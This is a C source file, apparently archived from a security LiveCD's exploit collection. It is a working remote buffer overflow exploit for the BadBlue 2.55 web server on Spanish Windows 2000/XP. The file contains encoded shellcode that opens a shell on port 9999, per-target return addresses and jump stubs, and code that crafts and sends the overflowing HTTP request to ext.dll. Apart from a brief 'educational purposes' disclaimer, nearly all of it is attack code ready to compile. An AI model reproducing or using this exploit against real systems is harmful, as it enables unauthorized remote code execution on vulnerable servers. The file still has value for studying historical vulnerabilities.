home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / webserver / badblue / badblue.cpp < prev    next >
C/C++ Source or Header  |  2005-03-05  |  9KB  |  232 lines

  1. /* Badblue 2.55 Web Server remote buffer overflow
  2.  * ( Version: BadBlue Personal Edition v2.55  Date: Dec. 9, 2004 )
  3.  *
  4.  * Tested under Windows 2000 Professional SP3/SP4 Spanish
  5.  *              Windows 2000 Server SP4 Spanish
  6.  *              Windows XP SP1 Spanish
  7.  *
  8.  * Credits:
  9.  *  Andres Tarasco (atarasco _at_ sia.es) has discovered this vulnerability
  10.  *  http://lists.netsys.com/pipermail/full-disclosure/2005-February/032029.html
  11.  *
  12.  * Exploit by  : Miguel Tarasc≤ Acu±a
  13.  *               Tarako AT Haxorcitos.com
  14.  * Exploit Date: 26/12/2004 
  15.  *
  16.  * THIS PROGRAM IS FOR EDUCATIONAL PURPOSES *ONLY* IT IS PROVIDED "AS IS"
  17.  * AND WITHOUT ANY WARRANTY. COPYING, PRINTING, DISTRIBUTION, MODIFICATION
  18.  * WITHOUT PERMISSION OF THE AUTHOR IS STRICTLY PROHIBITED.
  19.  *
  20.  * Greetings to: #haxorcitos, #dsr 
  21.  *
  22.  ***************************************************************************
  23.  *
  24.  * D:\expl_badblue\Release>badblue.exe 192.168.1.82 80 1
  25.  *
  26.  * Badblue 2.55 Web Server - Remote buffer overflow
  27.  * Tarako AT Haxorcitos.com
  28.  * 
  29.  * [i] Retrieving HTTP Server Header
  30.  * [i] Server    : BadBlue/2.5
  31.  * [i] Connected : Yes
  32.  * [i] Target    : Win2k Professional SP3/SP4 & Server SP4 (ext.dll)
  33.  * [i] Work      : Complete
  34.  * [i] Now       : telnet 192.168.1.82 9999
  35.  *
  36.  ***************************************************************************/
  37.    
  38. #include <winsock2.h>
  39. #include <windows.h>
  40. #include <stdio.h>
  41.  
  42. #pragma comment (lib,"ws2_32")
  43.  
  44. #define TIMEOUT 1
  45. #define VALIDSERVER "BadBlue/2.5"
  46. #define GETHEADER "HEAD HTTP/1.1\r\n\r\n"
  47.  
  48. #define HTTPSEND1 "GET /ext.dll?mfcisapicommand="
  49. #define HTTPSEND2 "&page=index.htx HTTP/1.1\n\
  50. Accept: */*\n\
  51. Accept-Language: es\n\
  52. Accept-Encodin: gzip, deflate\n\
  53. User-Agent: Haxorcitos/1.0 (compatible; MSIE 6.0; Windows NT 5.0)\n\
  54. Host: "
  55. #define HTTPSEND3 "\nConnection: Keep-Alive\r\n\r\n"
  56.  
  57. #define LEN 500
  58.  
  59. char shellcode[]=
  60.    "\xEB\x03\x5D\xEB\x05\xE8\xF8\xFF\xFF\xFF\x8B\xC5\x83\xC0\x11\x33"
  61.    "\xC9\x66\xB9\xC9\x01\x80\x30\x88\x40\xE2\xFA\xDD\x03\x64\x03\x7C"
  62.    "\x09\x64\x08\x88\x88\x88\x60\xC4\x89\x88\x88\x01\xCE\x74\x77\xFE"
  63.    "\x74\xE0\x06\xC6\x86\x64\x60\xD9\x89\x88\x88\x01\xCE\x4E\xE0\xBB"
  64.    "\xBA\x88\x88\xE0\xFF\xFB\xBA\xD7\xDC\x77\xDE\x4E\x01\xCE\x70\x77"
  65.    "\xFE\x74\xE0\x25\x51\x8D\x46\x60\xB8\x89\x88\x88\x01\xCE\x5A\x77"
  66.    "\xFE\x74\xE0\xFA\x76\x3B\x9E\x60\xA8\x89\x88\x88\x01\xCE\x46\x77"
  67.    "\xFE\x74\xE0\x67\x46\x68\xE8\x60\x98\x89\x88\x88\x01\xCE\x42\x77"
  68.    "\xFE\x70\xE0\x43\x65\x74\xB3\x60\x88\x89\x88\x88\x01\xCE\x7C\x77"
  69.    "\xFE\x70\xE0\x51\x81\x7D\x25\x60\x78\x88\x88\x88\x01\xCE\x78\x77"
  70.    "\xFE\x70\xE0\x2C\x92\xF8\x4F\x60\x68\x88\x88\x88\x01\xCE\x64\x77"
  71.    "\xFE\x70\xE0\x2C\x25\xA6\x61\x60\x58\x88\x88\x88\x01\xCE\x60\x77"
  72.    "\xFE\x70\xE0\x6D\xC1\x0E\xC1\x60\x48\x88\x88\x88\x01\xCE\x6A\x77"
  73.    "\xFE\x70\xE0\x6F\xF1\x4E\xF1\x60\x38\x88\x88\x88\x01\xCE\x5E\xBB"
  74.    "\x77\x09\x64\x7C\x89\x88\x88\xDC\xE0\x89\x89\x88\x88\x77\xDE\x7C"
  75.    "\xD8\xD8\xD8\xD8\xC8\xD8\xC8\xD8\x77\xDE\x78\x03\x50\xDF\xDF\xE0"
  76.    "\x8A\x88\xAF\x87\x03\x44\xE2\x9E\xD9\xDB\x77\xDE\x64\xDF\xDB\x77"
  77.    "\xDE\x60\xBB\x77\xDF\xD9\xDB\x77\xDE\x6A\x03\x58\x01\xCE\x36\xE0"
  78.    "\xEB\xE5\xEC\x88\x01\xEE\x4A\x0B\x4C\x24\x05\xB4\xAC\xBB\x48\xBB"
  79.    "\x41\x08\x49\x9D\x23\x6A\x75\x4E\xCC\xAC\x98\xCC\x76\xCC\xAC\xB5"
  80.    "\x01\xDC\xAC\xC0\x01\xDC\xAC\xC4\x01\xDC\xAC\xD8\x05\xCC\xAC\x98"
  81.    "\xDC\xD8\xD9\xD9\xD9\xC9\xD9\xC1\xD9\xD9\x77\xFE\x4A\xD9\x77\xDE"
  82.    "\x46\x03\x44\xE2\x77\x77\xB9\x77\xDE\x5A\x03\x40\x77\xFE\x36\x77"
  83.    "\xDE\x5E\x63\x16\x77\xDE\x9C\xDE\xEC\x29\xB8\x88\x88\x88\x03\xC8"
  84.    "\x84\x03\xF8\x94\x25\x03\xC8\x80\xD6\x4A\x8C\x88\xDB\xDD\xDE\xDF"
  85.    "\x03\xE4\xAC\x90\x03\xCD\xB4\x03\xDC\x8D\xF0\x8B\x5D\x03\xC2\x90"
  86.    "\x03\xD2\xA8\x8B\x55\x6B\xBA\xC1\x03\xBC\x03\x8B\x7D\xBB\x77\x74"
  87.    "\xBB\x48\x24\xB2\x4C\xFC\x8F\x49\x47\x85\x8B\x70\x63\x7A\xB3\xF4"
  88.    "\xAC\x9C\xFD\x69\x03\xD2\xAC\x8B\x55\xEE\x03\x84\xC3\x03\xD2\x94"
  89.    "\x8B\x55\x03\x8C\x03\x8B\x4D\x63\x8A\xBB\x48\x03\x5D\xD7\xD6\xD5"
  90.    "\xD3\x4A\x8C\x88";
  91.  
  92. struct TARGETS {
  93.    int num;
  94.    char name[58];
  95.    char offset[5];
  96. } targets[]= {
  97.    // char offset[]="\x56\x66\x46\x78";    // ntdll.dll V. 5.0.2195.6899 Windows 2k Spanish (CALL EBX)   
  98.    // char offset[]="\x37\x25\x01\x10";    // ext.dll V. 1.0.0.1 (CALL EBX) Windows 2k SP4 Spanish  
  99.    // char offset[]="\x3E\xFA\x02\x10";    // ext.dll V. 1.0.0.1 (FF55 0C  CALL [EBP+C]) Windows XP SP1 Spanish  
  100.    { 0, "WinXP Professional SP1 (ext.dll)", "\x3E\xFA\x02\x10" },                   // CALL [EBP+C]
  101.    { 1, "Win2k Professional SP3/SP4 & Server SP4 (ext.dll)", "\x37\x25\x01\x10" },  // CALL EBX
  102.    //{ 2, "Crash", 0x41414141 }, // crash
  103. };
  104. char jmp[]="\xEB\x07";                 // JMP $+9   (EB 07) To jump the offset   
  105. char jmpback[]="\xE9\x0D\xFE\xFF\xFF"; // JMP $-494 (E9 0DFEFFFF) To jump to the beginning of the shellcode
  106.  
  107.  
  108.  
  109. int CheckHeader(SOCKET s,struct  sockaddr_in sa) { // Server: BadBlue/2.5 
  110.    timeval  tiempo;
  111.    fd_set   fdset;
  112.  
  113.    int      leido;         // Bytes leidos en el recv
  114.    char     buffer[1024];  // Buffer de lectura con el recv
  115.    char     version[11];
  116.    int      retorno=0;
  117.  
  118.     
  119.    if ((s=WSASocket(AF_INET,SOCK_STREAM,IPPROTO_TCP,0,0,0))==INVALID_SOCKET){ 
  120.       printf("\n [e] Error: socket():%d\n", WSAGetLastError()); 
  121.       return(1); 
  122.    }
  123.    if ( connect(s, (struct sockaddr *) &sa, sizeof(sa)) == SOCKET_ERROR ) { 
  124.       printf("\n [e] Error: connect()"); 
  125.       return(1); 
  126.    }
  127.  
  128.    send(s,GETHEADER,strlen(GETHEADER),0);
  129.  
  130.    tiempo.tv_sec=TIMEOUT;                  // TimeOut del Select
  131.    tiempo.tv_usec=0;
  132.    FD_ZERO( &fdset );                      // Inicializa FDSet a NULL
  133.    FD_SET( s, &fdset );                    // A±ade el descriptor AcceptedSocket a FDSet
  134.    if ((select( s + 1 , &fdset , NULL , NULL , &tiempo )) >0) {
  135.       if (FD_ISSET(s,(fd_set FAR *)&fdset)) {   // True si ConnectSocket esta en FDSet
  136.          memset(&buffer, 0, sizeof(buffer));
  137.          if ((leido=recv( s,buffer,sizeof(buffer),0 )) > 0) {
  138.             if (leido > 42) {
  139.                strncpy(version,buffer+32,strlen(VALIDSERVER));
  140.                printf("\n [i] Server    : %s",version);
  141.                if (strncmp(version,VALIDSERVER,strlen(VALIDSERVER))!=0) retorno=1;
  142.             }
  143.             else retorno=1;
  144.          }
  145.          else {
  146.             printf("\n [e] Server    : Unknown");
  147.             retorno=1;
  148.          } 
  149.       } 
  150.    }
  151.     
  152.    closesocket(s);
  153.    return(retorno);
  154. }
  155.  
  156.  
  157.  
  158. void main(int argc, char *argv[]) {
  159.    SOCKET s;
  160.    
  161.    WSADATA HWSAdata;
  162.    struct  sockaddr_in sa;
  163.  
  164.    char *buffer=NULL;
  165.    UINT i;
  166.  
  167.    printf("\n Badblue 2.55 Web Server - Remote buffer overflow");
  168.    printf("\n Tarako AT Haxorcitos.com\n");
  169.  
  170.    if ( (argc!=4) || (atoi(argv[3])>=sizeof(targets) / sizeof(struct TARGETS))) {
  171.       printf("\n OS:",argv[0]);
  172.       for (i=0;i<(sizeof(targets) / sizeof(struct TARGETS));i++) {
  173.          printf("\n    %i - %s",i,targets[i].name);
  174.       }        
  175.       printf("\n\n Usage: %s <IP> <Port> <OS> \n",argv[0]);
  176.       exit(1);
  177.    }
  178.  
  179.  
  180.    if (WSAStartup(MAKEWORD(2,2), &HWSAdata) != 0) { 
  181.       printf("\n [e] Error: WSAStartup():%d\n", WSAGetLastError()); 
  182.       exit(1); 
  183.    }
  184.  
  185.    if ((s=WSASocket(AF_INET,SOCK_STREAM,IPPROTO_TCP,0,0,0))==INVALID_SOCKET){ 
  186.       printf("\n [e] Error: socket():%d\n", WSAGetLastError()); 
  187.       exit(1); 
  188.    }
  189.  
  190.    sa.sin_family           = AF_INET;
  191.    sa.sin_port             = (USHORT)htons(atoi(argv[2]));
  192.    sa.sin_addr.S_un.S_addr = inet_addr(argv[1]);
  193.  
  194.    printf("\n [i] Retrieving HTTP Server Header");
  195.    if (CheckHeader(s,sa)==1) {
  196.       printf("\n [i] Aborting exploit\n\n");
  197.       exit(1);
  198.    }
  199.     
  200.    if ( connect(s, (struct sockaddr *) &sa, sizeof(sa)) == SOCKET_ERROR ) { 
  201.       printf("\n [e] Error: connect()"); 
  202.       exit(1); 
  203.    }
  204.  
  205.    printf("\n [i] Connected : Yes");
  206.    printf("\n [i] Target    : %s ",targets[atoi(argv[3])].name);
  207.  
  208.    buffer=(char*)malloc(sizeof(char)*(strlen(HTTPSEND1)+strlen(HTTPSEND2)+strlen(HTTPSEND3)+strlen(argv[1])+LEN+1)); 
  209.    memset(buffer,0,strlen(HTTPSEND1)+strlen(HTTPSEND2)+strlen(HTTPSEND3)+strlen(argv[1])+LEN+1);
  210.  
  211.    memcpy(buffer,HTTPSEND1,strlen(HTTPSEND1));
  212.  
  213.    for( i=strlen(HTTPSEND1);i<(LEN+strlen(HTTPSEND1));i++) buffer[i]=(BYTE)0x90;
  214.  
  215.    memcpy(buffer+strlen(HTTPSEND1),shellcode,strlen(shellcode));
  216.  
  217.    memcpy(buffer+strlen(HTTPSEND1)+485,jmp,strlen(jmp));
  218.    memcpy(buffer+strlen(HTTPSEND1)+489,targets[atoi(argv[3])].offset,strlen(targets[atoi(argv[3])].offset)); 
  219.    memcpy(buffer+strlen(HTTPSEND1)+494,jmpback,strlen(jmpback));
  220.  
  221.    memcpy(buffer+strlen(HTTPSEND1)+LEN,HTTPSEND2,strlen(HTTPSEND2));
  222.  
  223.    memcpy(buffer+strlen(HTTPSEND1)+LEN+strlen(HTTPSEND2),argv[1],strlen(argv[1]));
  224.  
  225.    memcpy(buffer+strlen(HTTPSEND1)+LEN+strlen(HTTPSEND2)+strlen(argv[1]),HTTPSEND3,strlen(HTTPSEND3));
  226.  
  227.    send(s,buffer,strlen(buffer),0);
  228.    closesocket(s);
  229.  
  230.    printf("\n [i] Work      : Complete"); 
  231.    printf("\n [i] Now       : telnet %s 9999\n",argv[1]);
  232. }